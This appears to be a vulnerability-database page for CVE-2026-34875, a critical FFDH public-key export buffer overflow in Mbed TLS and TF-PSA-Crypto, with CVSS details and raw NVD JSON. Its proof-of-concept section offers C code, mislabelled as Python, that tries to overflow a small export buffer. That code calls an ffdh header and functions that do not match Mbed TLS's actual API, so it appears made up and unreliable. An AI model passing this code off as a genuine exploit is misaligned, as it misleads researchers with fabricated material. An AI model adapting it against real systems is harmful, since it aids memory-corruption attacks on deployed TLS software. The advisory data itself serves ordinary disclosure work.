Security Vulnerability Report
中文
CVE-2026-34875 CVSS 9.8 CRITICAL

CVE-2026-34875

Published: 2026-04-01 18:16:31
Last Modified: 2026-04-06 14:18:04

Description

An issue was discovered in Mbed TLS through 3.6.5 and TF-PSA-Crypto 1.0.0. A buffer overflow can occur in public key export for FFDH keys.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arm:tf-psa-crypto:*:*:*:*:*:*:*:* - VULNERABLE
Mbed TLS <= 3.6.5
TF-PSA-Crypto 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include "mbedtls/ffdh.h" #include <stdio.h> /* * PoC Code for CVE-2026-34875 * This code demonstrates the buffer overflow vulnerability * in FFDH public key export within Mbed TLS <= 3.6.5. * * Compile with: gcc -o poc_cve2026_34875 poc_cve2026_34875.c -lmbedtls -lmbedcrypto */ int main() { mbedtls_ffdh_context ctx; unsigned char buf[64]; // Intentionally small buffer to trigger overflow size_t olen; int ret; mbedtls_ffdh_init(&ctx); // Setup FFDH context with a standard group (e.g., MBEDTLS_FFDH_RFC3526_MODP_2048_P) // In a real exploit, parameters would be chosen to maximize overflow impact if ((ret = mbedtls_ffdh_setup(&ctx, MBEDTLS_FFDH_RFC3526_MODP_2048_P)) != 0) { printf("Setup failed: -0x%04X\n", -ret); return 1; } // Generate keys if ((ret = mbedtls_ffdh_make_public(&ctx, sizeof(buf), buf, &olen, mbedtls_ctr_drbg_random, NULL)) != 0) { // This may fail or crash due to buffer overflow if logic is flawed printf("Export failed (likely overflow): -0x%04X\n", -ret); } else { printf("Exported %lu bytes (Check for memory corruption)\n", olen); } mbedtls_ffdh_free(&ctx); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34875", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:31.433", "lastModified": "2026-04-06T14:18:04.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Mbed TLS through 3.6.5 and TF-PSA-Crypto 1.0.0. A buffer overflow can occur in public key export for FFDH keys."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.6.6", "matchCriteriaId": "3278BC57-7535-4FB5-B2AA-2938CB48504B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:tf-psa-crypto:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.0", "matchCriteriaId": "7F85529C-03C6-44F4-9242-372DCDF0B52C"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-ffdh-buffer-overflow/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}